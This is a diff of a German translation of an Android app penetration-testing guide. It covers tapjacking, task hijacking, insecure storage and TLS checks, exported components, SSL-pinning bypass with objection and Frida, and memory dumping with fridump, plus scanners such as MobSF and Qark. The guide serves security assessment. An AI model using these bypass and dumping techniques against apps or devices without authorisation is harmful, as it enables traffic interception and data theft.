**Tapjacking** ist ein Angriff, bei dem eine **bösartige** **Anwendung** gestartet wird und sich **oberhalb einer Opferanwendung positioniert**. Sobald sie die Opfer-App sichtbar verdeckt, ist ihre Benutzeroberfläche so gestaltet, dass sie den Benutzer dazu verleitet, mit ihr zu interagieren, während sie die Interaktion an die Opfer-App weiterleitet.\
In der Tat **blendet es den Benutzer aus, sodass er nicht weiß, dass er tatsächlich Aktionen in der Opfer-App ausführt**.
Weitere Informationen finden Sie in:
@ -100,7 +100,7 @@ tapjacking.md
### Task Hijacking
Eine **Aktivität**, bei der der **`launchMode`** auf **`singleTask`** ohne definierte `taskAffinity` gesetzt ist, ist anfällig für Task Hijacking. Das bedeutet, dass eine **Anwendung** installiert werden kann und, wenn sie vor der echten Anwendung gestartet wird, die **Aufgabe der echten Anwendung übernehmen** könnte (sodass der Benutzer mit der **bösartigen Anwendung interagiert, während er denkt, er verwendet die echte**).
Eine **Aktivität**, deren **`launchMode`** auf **`singleTask`** ohne definierte `taskAffinity` gesetzt ist, ist anfällig für Task Hijacking. Das bedeutet, dass eine **Anwendung** installiert werden kann und, wenn sie vor der echten Anwendung gestartet wird, die **Aufgabe der echten Anwendung übernehmen könnte** (sodass der Benutzer mit der **bösartigen Anwendung interagiert, während er denkt, er benutze die echte**).
Weitere Informationen finden Sie in:
@ -112,7 +112,7 @@ android-task-hijacking.md
**Interner Speicher**
In Android sind Dateien, die im **internen** Speicher **gespeichert** werden, **so konzipiert**, dass sie **ausschließlich** von der **App**, die sie **erstellt** hat, **zugänglich** sind. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem **durchgesetzt** und ist im Allgemeinen ausreichend für die Sicherheitsbedürfnisse der meisten Anwendungen. Entwickler nutzen jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um **Dateien** zwischen verschiedenen Anwendungen **zu teilen**. Diese Modi **beschränken jedoch nicht den Zugriff** auf diese Dateien durch andere Anwendungen, einschließlich potenziell bösartiger.
In Android sind Dateien, die im **internen** Speicher **gespeichert** werden, **so konzipiert**, dass sie **ausschließlich** von der **App**, die sie **erstellt** hat, **zugänglich** sind. Diese Sicherheitsmaßnahme wird vom Android-Betriebssystem **durchgesetzt** und ist im Allgemeinen ausreichend für die Sicherheitsbedürfnisse der meisten Anwendungen. Entwickler nutzen jedoch manchmal Modi wie `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE`, um **zuzulassen**, dass Dateien zwischen verschiedenen Anwendungen **geteilt** werden. Diese Modi **beschränken jedoch nicht den Zugriff** auf diese Dateien durch andere Anwendungen, einschließlich potenziell bösartiger.
1. **Statische Analyse:**
- **Stellen Sie sicher**, dass die Verwendung von `MODE_WORLD_READABLE` und `MODE_WORLD_WRITABLE` **sorgfältig geprüft** wird. Diese Modi **könnten potenziell** Dateien **unbeabsichtigtem oder unbefugtem Zugriff** aussetzen.
@ -135,8 +135,8 @@ Beim Umgang mit Dateien auf **externem Speicher**, wie SD-Karten, sollten bestim
Externer Speicher kann in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` **zugegriffen** werden.
> [!TIPP]
> Seit Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die **den Zugriff einer App auf das Verzeichnis, das speziell für diese App vorgesehen ist, einschränkt**. Dies verhindert, dass bösartige Anwendungen Lese- oder Schreibzugriff auf die Dateien einer anderen Anwendung erhalten.
> [!TIP]
> Ab Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die **den Zugriff einer App auf das Verzeichnis, das speziell für diese App vorgesehen ist, einschränkt**. Dies verhindert, dass bösartige Anwendungen Lese- oder Schreibzugriff auf die Dateien einer anderen App erhalten.
**Sensible Daten im Klartext gespeichert**
@ -154,7 +154,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
Eine gute Möglichkeit, dies zu testen, besteht darin, den Datenverkehr mit einem Proxy wie Burp zu erfassen, ohne das Burp CA-Zertifikat auf dem Gerät zu autorisieren. Außerdem können Sie mit Burp ein Zertifikat für einen anderen Hostnamen generieren und verwenden.
### Gebrochene Kryptografie
### Defekte Kryptografie
**Schlechte Schlüsselverwaltungsprozesse**
@ -167,10 +167,10 @@ Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Autorisierun
### Weitere Überprüfungen
- Es wird empfohlen, die **APK zu obfuskieren**, um die Reverse-Engineering-Arbeit für Angreifer zu erschweren.
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie **eigene Überprüfungen durchführen, um zu sehen, ob das Mobilgerät gerootet ist**, und entsprechend handeln.
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie ihre **eigenen Überprüfungen durchführen, um zu sehen, ob das Mobilgerät gerootet ist**, und entsprechend handeln.
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie überprüfen, ob ein **Emulator** verwendet wird.
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie **ihre eigene Integrität überprüfen, bevor sie ausgeführt wird**, um zu prüfen, ob sie modifiziert wurde.
- Verwenden Sie [**APKiD**](https://github.com/rednaga/APKiD), um zu überprüfen, welcher Compiler/Packer/Obfuskator zum Erstellen der APK verwendet wurde.
- Wenn die App sensibel ist (wie Bank-Apps), sollte sie **ihre eigene Integrität überprüfen, bevor sie ausgeführt wird**, um zu überprüfen, ob sie modifiziert wurde.
- Verwenden Sie [**APKiD**](https://github.com/rednaga/APKiD), um zu überprüfen, welcher Compiler/Packer/Obfuskator verwendet wurde, um die APK zu erstellen.
### React Native Anwendung
@ -194,7 +194,7 @@ Laut diesem [**Blogbeitrag**](https://clearbluejar.github.io/posts/desuperpackin
### Automatisierte statische Codeanalyse
Das Tool [**mariana-trench**](https://github.com/facebook/mariana-trench) ist in der Lage, **Schwachstellen** durch **Scannen** des **Codes** der Anwendung zu finden. Dieses Tool enthält eine Reihe von **bekannten Quellen** (die dem Tool die **Stellen** anzeigen, an denen die **Eingabe** **vom Benutzer** **kontrolliert** wird), **Senken** (die dem Tool **gefährliche** **Stellen** anzeigen, an denen bösartige Benutzereingaben Schäden verursachen könnten) und **Regeln**. Diese Regeln geben die **Kombination** von **Quellen-Senken** an, die auf eine Schwachstelle hinweisen.
Das Tool [**mariana-trench**](https://github.com/facebook/mariana-trench) ist in der Lage, **Schwachstellen** durch **Scannen** des **Codes** der Anwendung zu finden. Dieses Tool enthält eine Reihe von **bekannten Quellen** (die dem Tool die **Stellen** anzeigen, an denen die **Eingabe** **vom Benutzer** **kontrolliert** wird), **Senken** (die dem Tool **gefährliche** **Stellen** anzeigen, an denen bösartige Benutzereingaben Schäden verursachen könnten) und **Regeln**. Diese Regeln zeigen die **Kombination** von **Quellen-Senken**, die auf eine Schwachstelle hinweisen.
Mit diesem Wissen wird **mariana-trench den Code überprüfen und mögliche Schwachstellen darin finden**.
@ -254,7 +254,7 @@ avd-android-virtual-device.md
- [**Nox**](https://es.bignox.com) (Kostenlos, unterstützt jedoch kein Frida oder Drozer).
> [!TIP]
> Denken Sie daran, dass beim Erstellen eines neuen Emulators auf einer beliebigen Plattform der Emulator umso langsamer läuft, je größer der Bildschirm ist. Wählen Sie also nach Möglichkeit kleine Bildschirme aus.
> Denken Sie daran, dass beim Erstellen eines neuen Emulators auf einer beliebigen Plattform der Emulator langsamer läuft, je größer der Bildschirm ist. Wählen Sie also nach Möglichkeit kleine Bildschirme aus.
Um **Google-Dienste** (wie den App Store) in Genymotion zu installieren, müssen Sie auf die rot markierte Schaltfläche im folgenden Bild klicken:
@ -270,7 +270,7 @@ Sie müssen die **Debugging**-Optionen aktivieren, und es wäre gut, wenn Sie es
2. (Ab Android 8.0) Wählen Sie **System**.
3. Wählen Sie **Über das Telefon**.
4. Drücken Sie **Build-Nummer** 7 Mal.
5. Gehen Sie zurück, und Sie finden die **Entwickleroptionen**.
5. Gehen Sie zurück und Sie finden die **Entwickleroptionen**.
> Sobald Sie die Anwendung installiert haben, sollten Sie zunächst versuchen, sie zu verwenden und zu untersuchen, was sie tut, wie sie funktioniert und sich damit vertraut zu machen.\
> Ich empfehle, diese erste dynamische Analyse mit MobSF-Dynamikanalyse + pidcat durchzuführen, damit wir **lernen können, wie die Anwendung funktioniert**, während MobSF eine Menge **interessanter** **Daten** erfasst, die Sie später überprüfen können.
@ -283,17 +283,17 @@ Entwickler sollten vorsichtig sein, **Debugging-Informationen** öffentlich zug
> [!WARNING]
> Beachten Sie, dass ab **neueren Versionen als Android 4.0** **Anwendungen nur auf ihre eigenen Protokolle zugreifen können**. Anwendungen können also nicht auf die Protokolle anderer Apps zugreifen.\
> Dennoch wird weiterhin empfohlen, **sensible Informationen nicht zu protokollieren**.
> Dennoch wird empfohlen, **sensible Informationen nicht zu protokollieren**.
**Zwischenablage-Caching**
Das **zwischenablagebasierte** Framework von Android ermöglicht die Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **zugreifen** können, was potenziell sensible Daten offenlegen könnte. Es ist wichtig, die **Copy/Paste**-Funktionen für sensible Abschnitte einer Anwendung, wie z. B. Kreditkartendetails, zu deaktivieren, um Datenlecks zu verhindern.
Das **zwischenablagebasierte** Framework von Android ermöglicht die Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **zugreifen** können, was potenziell sensible Daten offenlegen könnte. Es ist wichtig, die **Copy/Paste**-Funktionen für sensible Abschnitte einer Anwendung, wie z.B. Kreditkartendetails, zu deaktivieren, um Datenlecks zu verhindern.
**Absturzprotokolle**
Wenn eine Anwendung **abstürzt** und **Protokolle speichert**, können diese Protokolle Angreifern helfen, insbesondere wenn die Anwendung nicht umgekehrt werden kann. Um dieses Risiko zu mindern, vermeiden Sie das Protokollieren bei Abstürzen, und wenn Protokolle über das Netzwerk übertragen werden müssen, stellen Sie sicher, dass sie über einen SSL-Kanal zur Sicherheit gesendet werden.
Als Pentester sollten Sie **diese Protokolle überprüfen**.
Als Pentester, **versuchen Sie, einen Blick auf diese Protokolle zu werfen**.
**Analysedaten, die an Dritte gesendet werden**
@ -304,7 +304,7 @@ Anwendungen integrieren häufig Dienste wie Google Adsense, die unbeabsichtigt *
Die meisten Anwendungen verwenden **interne SQLite-Datenbanken**, um Informationen zu speichern. Während des Pentests sollten Sie einen **Blick** auf die **Datenbanken** werfen, die erstellt wurden, die Namen der **Tabellen** und **Spalten** sowie alle **gespeicherten Daten**, da Sie **sensible Informationen** finden könnten (was eine Schwachstelle darstellen würde).\
Datenbanken sollten sich in `/data/data/the.package.name/databases` wie `/data/data/com.mwr.example.sieve/databases` befinden.
Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, Sie jedoch das **Passwort** in der Anwendung **finden** können, ist dies immer noch eine **Schwachstelle**.
Wenn die Datenbank vertrauliche Informationen speichert und **verschlüsselt** ist, Sie jedoch das **Passwort** innerhalb der Anwendung **finden** können, ist das immer noch eine **Schwachstelle**.
Zählen Sie die Tabellen mit `.tables` und zählen Sie die Spalten der Tabellen mit `.schema <table_name>`.
@ -316,7 +316,7 @@ Drozer ist ein nützliches Tool, um **exportierte Aktivitäten, exportierte Dien
### Ausnutzen exportierter Aktivitäten
[**Lesen Sie dies, wenn Sie auffrischen möchten, was eine Android-Aktivität ist.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Denken Sie auch daran, dass der Code einer Aktivität in der **`onCreate`**-Methode beginnt.
Denken Sie auch daran, dass der Code einer Aktivität mit der **`onCreate`**-Methode beginnt.
**Autorisierungsumgehung**
@ -338,16 +338,16 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
**Sensibler Informationsleck**
**Aktivitäten können auch Ergebnisse zurückgeben**. Wenn Sie es schaffen, eine exportierte und ungeschützte Aktivität zu finden, die die **`setResult`**-Methode aufruft und **sensible Informationen zurückgibt**, liegt ein sensibler Informationsleck vor.
**Aktivitäten können auch Ergebnisse zurückgeben**. Wenn Sie es schaffen, eine exportierte und ungeschützte Aktivität zu finden, die die **`setResult`**-Methode aufruft und **sensible Informationen zurückgibt**, gibt es ein sensibles Informationsleck.
#### Tapjacking
Wenn Tapjacking nicht verhindert wird, könnten Sie die exportierte Aktivität missbrauchen, um den **Benutzer unerwartete Aktionen** ausführen zu lassen. Für weitere Informationen über [**was Tapjacking ist, folgen Sie dem Link**](#tapjacking).
### Ausnutzen von Content Providern - Zugriff auf und Manipulation von sensiblen Informationen
### Ausnutzen von Content Providern - Zugriff auf und Manipulation sensibler Informationen
[**Lesen Sie dies, wenn Sie auffrischen möchten, was ein Content Provider ist.**](android-applications-basics.md#content-provider)\
Content Provider werden im Grunde verwendet, um **Daten zu teilen**. Wenn eine App verfügbare Content Provider hat, können Sie möglicherweise **sensible** Daten von ihnen **extrahieren**. Es ist auch interessant, mögliche **SQL-Injektionen** und **Path Traversals** zu testen, da sie anfällig sein könnten.
Content Provider werden im Grunde verwendet, um **Daten zu teilen**. Wenn eine App verfügbare Content Provider hat, können Sie möglicherweise **sensible** Daten von ihnen **extrahieren**. Es ist auch interessant, mögliche **SQL-Injection**- und **Path Traversal**-Angriffe zu testen, da sie anfällig sein könnten.
[**Erfahren Sie, wie Sie Content Provider mit Drozer ausnutzen.**](drozer-tutorial/index.html#content-providers)
@ -383,7 +383,7 @@ _Beachten Sie, dass Sie **den Paketnamen weglassen** können und das Mobilgerät
```
**Code ausgeführt**
Um den **Code zu finden, der in der App ausgeführt wird**, gehe zu der Aktivität, die durch den Deeplink aufgerufen wird, und suche die Funktion **`onNewIntent`**.
Um den **Code zu finden, der in der App ausgeführt wird**, gehe zur Aktivität, die durch den Deeplink aufgerufen wird, und suche die Funktion **`onNewIntent`**.
![](<../../images/image (436) (1) (1) (1).png>)
@ -404,7 +404,7 @@ Ein [interessanter Bug-Bounty-Bericht](https://hackerone.com/reports/855618) üb
- **Zertifikate werden von Android-Anwendungen nicht immer ordnungsgemäß überprüft**. Es ist üblich, dass diese Anwendungen Warnungen ignorieren und selbstsignierte Zertifikate akzeptieren oder in einigen Fällen auf HTTP-Verbindungen zurückgreifen.
- **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach** und verwenden unsichere Cipher-Suiten. Diese Verwundbarkeit macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln.
- **Leckage privater Informationen** ist ein Risiko, wenn Anwendungen über sichere Kanäle authentifizieren, aber dann über unsichere Kanäle für andere Transaktionen kommunizieren. Dieser Ansatz schützt sensible Daten, wie Sitzungscookies oder Benutzerdetails, nicht vor Abfangen durch böswillige Akteure.
- **Leckage privater Informationen** ist ein Risiko, wenn Anwendungen über sichere Kanäle authentifizieren, dann jedoch über unsichere Kanäle für andere Transaktionen kommunizieren. Dieser Ansatz schützt sensible Daten, wie Sitzungscookies oder Benutzerdetails, nicht vor Abfangen durch böswillige Akteure.
#### Zertifikatsverifizierung
@ -416,9 +416,9 @@ SSL-Pinning ist eine Sicherheitsmaßnahme, bei der die Anwendung das Serverzerti
#### Verkehrsinpektion
Um HTTP-Verkehr zu inspizieren, ist es notwendig, das **Zertifikat des Proxy-Tools zu installieren** (z. B. Burp). Ohne die Installation dieses Zertifikats ist der verschlüsselte Verkehr möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats, [**klicke hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Um HTTP-Verkehr zu inspizieren, ist es notwendig, das **Zertifikat des Proxy-Tools zu installieren** (z. B. Burp). Ohne die Installation dieses Zertifikats ist der verschlüsselte Verkehr möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats [**klicke hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion von verschlüsseltem Verkehr. Für Anweisungen zur Änderung der Network Security Config, [**siehe dieses Tutorial**](make-apk-accept-ca-certificate.md).
Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion von verschlüsseltem Verkehr. Für Anweisungen zur Änderung der Network Security Config [**verweise auf dieses Tutorial**](make-apk-accept-ca-certificate.md).
Wenn **Flutter** verwendet wird, musst du die Anweisungen auf [**dieser Seite**](flutter.md) befolgen. Dies liegt daran, dass das bloße Hinzufügen des Zertifikats in den Store nicht funktioniert, da Flutter seine eigene Liste gültiger CAs hat.
@ -426,11 +426,11 @@ Wenn **Flutter** verwendet wird, musst du die Anweisungen auf [**dieser Seite**]
Wenn SSL-Pinning implementiert ist, wird es notwendig, es zu umgehen, um HTTPS-Verkehr zu inspizieren. Verschiedene Methoden stehen dafür zur Verfügung:
- Automatisch **modifiziere** die **apk**, um **SSL-Pinning zu umgehen** mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Der größte Vorteil dieser Option ist, dass du kein Root benötigst, um das SSL-Pinning zu umgehen, aber du musst die Anwendung löschen und die neue installieren, und das funktioniert nicht immer.
- Automatisch **modifiziere** die **apk**, um SSL-Pinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu **umgehen**. Der größte Vorteil dieser Option ist, dass du keinen Root-Zugriff benötigst, um das SSL-Pinning zu umgehen, aber du musst die Anwendung deinstallieren und die neue installieren, und das funktioniert nicht immer.
- Du könntest **Frida** (unten besprochen) verwenden, um diesen Schutz zu umgehen. Hier hast du eine Anleitung zur Verwendung von Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Du kannst auch versuchen, **SSL-Pinning automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Du kannst auch versuchen, **SSL-Pinning automatisch zu umgehen** mit **MobSF dynamischer Analyse** (unten erklärt)
- Wenn du immer noch denkst, dass es Verkehr gibt, den du nicht erfasst, kannst du versuchen, **den Verkehr mit iptables an Burp weiterzuleiten**. Lies diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- Du kannst auch versuchen, SSL-Pinning **automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Du kannst auch versuchen, SSL-Pinning **automatisch zu umgehen** mit **MobSF dynamischer Analyse** (unten erklärt).
- Wenn du immer noch denkst, dass es Verkehr gibt, den du nicht erfasst, kannst du versuchen, **den Verkehr mit iptables an burp weiterzuleiten**. Lies diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Suche nach häufigen Webverwundbarkeiten
@ -439,13 +439,13 @@ Es ist auch wichtig, nach häufigen Webverwundbarkeiten innerhalb der Anwendung
### Frida
[Frida](https://www.frida.re) ist ein dynamisches Instrumentierungstool für Entwickler, Reverse-Engineers und Sicherheitsforscher.\
**Du kannst laufende Anwendungen zugreifen und Methoden zur Laufzeit hooken, um das Verhalten zu ändern, Werte zu ändern, Werte zu extrahieren, anderen Code auszuführen...**\
**Du kannst auf die laufende Anwendung zugreifen und Methoden zur Laufzeit hooken, um das Verhalten zu ändern, Werte zu ändern, Werte zu extrahieren, anderen Code auszuführen...**\
Wenn du Android-Anwendungen pentesten möchtest, musst du wissen, wie man Frida verwendet.
- Lerne, wie man Frida verwendet: [**Frida-Tutorial**](frida-tutorial/index.html)
- Eine "GUI" für Aktionen mit Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection ist großartig, um die Verwendung von Frida zu automatisieren: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Du kannst einige großartige Frida-Skripte hier finden: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Du kannst hier einige großartige Frida-Skripte finden: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Versuche, Anti-Debugging / Anti-Frida-Mechanismen zu umgehen, indem du Frida wie in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) angegeben lädst (Tool [linjector](https://github.com/erfur/linjector-rs))
### **Speicher dumpen - Fridump**
@ -461,13 +461,13 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Dies wird den Speicher im ./dump-Ordner ausgeben, und dort könnten Sie mit etwas wie grep suchen:
Dies wird den Speicher im ./dump-Ordner ausgeben, und dort könnten Sie mit etwas wie grep:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Empfindliche Daten im Keystore**
In Android ist der Keystore der beste Ort, um sensible Daten zu speichern. Mit ausreichenden Berechtigungen ist es jedoch immer noch **möglich, darauf zuzugreifen**. Da Anwendungen dazu neigen, hier **sensible Daten im Klartext** zu speichern, sollten die Pentests dies als Root-Benutzer oder jemand mit physischem Zugriff auf das Gerät überprüfen, da diese Person in der Lage sein könnte, diese Daten zu stehlen.
In Android ist der Keystore der beste Ort, um sensible Daten zu speichern. Mit ausreichenden Rechten ist es jedoch immer noch **möglich, darauf zuzugreifen**. Da Anwendungen dazu neigen, hier **sensible Daten im Klartext** zu speichern, sollten die Pentests dies als Root-Benutzer oder jemand mit physischem Zugriff auf das Gerät überprüfen, da diese Person in der Lage sein könnte, diese Daten zu stehlen.
Selbst wenn eine App Daten im Keystore speichert, sollten die Daten verschlüsselt sein.
@ -487,7 +487,7 @@ Wenn Sie eine Anwendung in den Hintergrund setzen, speichert Android einen **Sch
Wenn dieser Schnappschuss jedoch **sensible Informationen** enthält, könnte jemand mit Zugriff auf den Schnappschuss diese **Informationen stehlen** (beachten Sie, dass Sie Root-Rechte benötigen, um darauf zuzugreifen).
Die Schnappschüsse werden normalerweise unter: **`/data/system_ce/0/snapshots`** gespeichert.
Die Schnappschüsse werden normalerweise unter folgendem Pfad gespeichert: **`/data/system_ce/0/snapshots`**
Android bietet eine Möglichkeit, die **Erfassung von Screenshots zu verhindern, indem der FLAG_SECURE** Layoutparameter gesetzt wird. Durch die Verwendung dieses Flags werden die Fensterinhalte als sicher behandelt, wodurch sie nicht in Screenshots erscheinen oder auf nicht sicheren Displays angezeigt werden können.
```bash
@ -495,13 +495,13 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Android Application Analyzer**
Dieses Tool kann Ihnen helfen, verschiedene Werkzeuge während der dynamischen Analyse zu verwalten: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
Dieses Tool kann Ihnen helfen, verschiedene Tools während der dynamischen Analyse zu verwalten: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection
Entwickler erstellen oft Proxy-Komponenten wie Aktivitäten, Dienste und Broadcast-Empfänger, die diese Intents verarbeiten und an Methoden wie `startActivity(...)` oder `sendBroadcast(...)` weitergeben, was riskant sein kann.
Entwickler erstellen häufig Proxy-Komponenten wie Aktivitäten, Dienste und Broadcast-Empfänger, die diese Intents verarbeiten und an Methoden wie `startActivity(...)` oder `sendBroadcast(...)` weitergeben, was riskant sein kann.
Die Gefahr liegt darin, Angreifern zu ermöglichen, nicht exportierte App-Komponenten auszulösen oder auf sensible Content-Provider zuzugreifen, indem sie diese Intents fehlleiten. Ein bemerkenswertes Beispiel ist die `WebView`-Komponente, die URLs in `Intent`-Objekte über `Intent.parseUri(...)` umwandelt und sie dann ausführt, was potenziell zu bösartigen Intent-Injektionen führen kann.
Die Gefahr liegt darin, Angreifern zu ermöglichen, nicht exportierte App-Komponenten auszulösen oder auf sensible Content-Provider zuzugreifen, indem diese Intents fehlgeleitet werden. Ein bemerkenswertes Beispiel ist die `WebView`-Komponente, die URLs in `Intent`-Objekte über `Intent.parseUri(...)` umwandelt und sie dann ausführt, was potenziell zu bösartigen Intent-Injektionen führen kann.
### Wesentliche Erkenntnisse
@ -512,10 +512,10 @@ Die Gefahr liegt darin, Angreifern zu ermöglichen, nicht exportierte App-Kompon
### Android Client Side Injections und andere
Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen besonders vorsichtig mit diesen Schwachstellen in einer Android-Anwendung sein:
Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen bei diesen Schwachstellen in einer Android-Anwendung besonders vorsichtig sein:
- **SQL Injection:** Stellen Sie beim Umgang mit dynamischen Abfragen oder Content-Providern sicher, dass Sie parametrisierte Abfragen verwenden.
- **JavaScript Injection (XSS):** Überprüfen Sie, ob JavaScript- und Plugin-Unterstützung für alle WebViews deaktiviert ist (standardmäßig deaktiviert). [Mehr Infos hier](webview-attacks.md#javascript-enabled).
- **JavaScript Injection (XSS):** Überprüfen Sie, ob die Unterstützung für JavaScript und Plugins für alle WebViews deaktiviert ist (standardmäßig deaktiviert). [Mehr Infos hier](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews sollten keinen Zugriff auf das Dateisystem haben (standardmäßig aktiviert) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mehr Infos hier](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: In mehreren Fällen, wenn die Android-Anwendung die Sitzung beendet, wird das Cookie nicht widerrufen oder könnte sogar auf der Festplatte gespeichert werden.
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
@ -530,7 +530,7 @@ Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. Sie müssen
![](<../../images/image (866).png>)
**Schwachstellenbewertung der Anwendung** mithilfe eines schönen webbasierten Frontends. Sie können auch eine dynamische Analyse durchführen (aber Sie müssen die Umgebung vorbereiten).
**Schwachstellenbewertung der Anwendung** mithilfe eines ansprechenden webbasierten Frontends. Sie können auch eine dynamische Analyse durchführen (aber Sie müssen die Umgebung vorbereiten).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -549,7 +549,7 @@ Der **MobSF-Dynamikanalysator** kann:
- **HTTPS-Verkehr erfassen**
- **Frida** verwenden, um **Laufzeit**-**informationen** zu erhalten
Ab Android **Versionen > 5** wird **Frida automatisch gestartet** und die globalen **Proxy**-Einstellungen werden festgelegt, um den Verkehr zu **erfassen**. Es wird nur der Verkehr der getesteten Anwendung erfasst.
Ab Android **Versionen > 5** wird **automatisch Frida gestartet** und die globalen **Proxy**-Einstellungen werden festgelegt, um den Verkehr zu **erfassen**. Es wird nur der Verkehr der getesteten Anwendung erfasst.
**Frida**
@ -610,7 +610,7 @@ Dies ist ein **großartiges Tool zur Durchführung statischer Analysen mit einer
### [Qark](https://github.com/linkedin/qark)
Dieses Tool ist darauf ausgelegt, nach mehreren **sicherheitsrelevanten Android-Anwendungsschwachstellen** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, eine "Proof-of-Concept" deploybare APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (Exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten.
Dieses Tool ist darauf ausgelegt, nach mehreren **sicherheitsrelevanten Android-Anwendungsschwachstellen** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, eine "Proof-of-Concept" deploybare APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -630,9 +630,9 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER ist eine Befehlszeilenanwendung, die unter Windows, MacOS X und Linux verwendet werden kann und _.apk_-Dateien auf Schwachstellen analysiert. Dies geschieht durch das Dekomprimieren von APKs und das Anwenden einer Reihe von Regeln, um diese Schwachstellen zu erkennen.
SUPER ist eine Befehlszeilenanwendung, die unter Windows, MacOS X und Linux verwendet werden kann und _.apk_-Dateien auf der Suche nach Sicherheitsanfälligkeiten analysiert. Dies geschieht durch das Dekomprimieren von APKs und das Anwenden einer Reihe von Regeln, um diese Sicherheitsanfälligkeiten zu erkennen.
Alle Regeln sind in einer `rules.json`-Datei zentriert, und jedes Unternehmen oder Tester kann seine eigenen Regeln erstellen, um das zu analysieren, was sie benötigen.
Alle Regeln sind in einer `rules.json`-Datei zentriert, und jedes Unternehmen oder Tester kann eigene Regeln erstellen, um das zu analysieren, was sie benötigen.
Laden Sie die neuesten Binärdateien von der [Download-Seite](https://superanalyzer.rocks/download.html) herunter.
```
@ -662,7 +662,7 @@ androbugs.exe -f [APK file]
